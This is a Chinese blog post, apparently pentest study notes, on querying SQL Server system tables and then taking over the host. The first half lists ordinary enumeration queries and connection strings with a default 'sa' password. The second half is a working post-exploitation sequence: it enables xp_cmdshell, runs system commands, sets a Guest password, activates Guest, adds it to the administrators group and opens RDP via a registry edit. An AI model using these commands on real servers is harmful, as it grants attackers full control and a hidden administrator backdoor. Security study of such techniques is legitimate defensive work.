SQLServer数据库的查询语句

SQLServer数据库的查询语句
select @@version; #查询数据库的版本
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring(‘string’,2,1) #截取给定字符串的索引为2的1个字符
select ascii(‘a’) #查询给定字符串的ascii值
select len(‘string’) #查询给定字符串的长度

#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB

count(name)是查询总数
name是查询名字
*是查询详细信息

#查询数据库
select count(name) from sysdatabases #查询数据库的个数
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息

#查询数据表
select * from sysobjects where type=‘u’ #查询当前数据库的所有表的详细信息
select count(name) from msdb…sysobjects where xtype=‘U’ #查询指定msdb数据库中表的个数
select name from msdb…sysobjects where xtype=‘U’ #查询指定msdb数据库中表的名字
select * from msdb…sysobjects where xtype=‘U’ #查询指定msdb数据库中表的详细信息

#查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype=‘u’ and name=‘users’) #查询当前数据库的指定users表的所有列
select count(name) from test…syscolumns where id=(select max(id) from test…sysobjects where xtype=‘u’ and name=‘users’) #查询指定test数据库的指定users表的列的个数
select name from test…syscolumns where id=(select max(id) from test…sysobjects where xtype=‘u’ and name=‘users’) #查询指定test数据库的指定users表的所有列
select * from test…syscolumns where id=(select max(id) from test…sysobjects where xtype=‘u’ and name=‘users’) #查询指定test数据库的指定users表的列的详细信息

#查询数据
select count(*) from test…user #查询test数据库user表的数据的条数
select * from test…user #查询test数据库user表的所有数据
SA权限开启xp_cmdshell获取主机权限
如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启

select count(*) FROM sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’ #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了

execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1
execute(‘reconfigure’) #保存设置
execute(‘sp_configure “xp_cmdshell”, 1’) #将xp_cmdshell的值设置为1
execute(‘reconfigure’) #保存设置
execute(‘sp_configure’) #查看配置
execute(‘xp_cmdshell “whoami”’) #执行系统命令

或者
exec sp_configure ‘show advanced options’,1; #将该选项的值设置为1
reconfigure; #保存设置
exec sp_configure ‘xp_cmdshell’,1; #将xp_cmdshell的值设置为1
reconfigure; #保存设置
exec sp_configure #查看配置
exec xp_cmdshell ‘whoami’ #执行系统命令

可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell ‘net user Guest 123456’ #给guest用户设置密码
exec xp_cmdshell ‘net user Guest /active:yes’ #激活guest用户
exec xp_cmdshell ‘net localgroup administrators Guest /add’ #将guest用户添加到administrators用户组
exec xp_cmdshell ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ #开启3389端口

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不爱学习的安全小白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值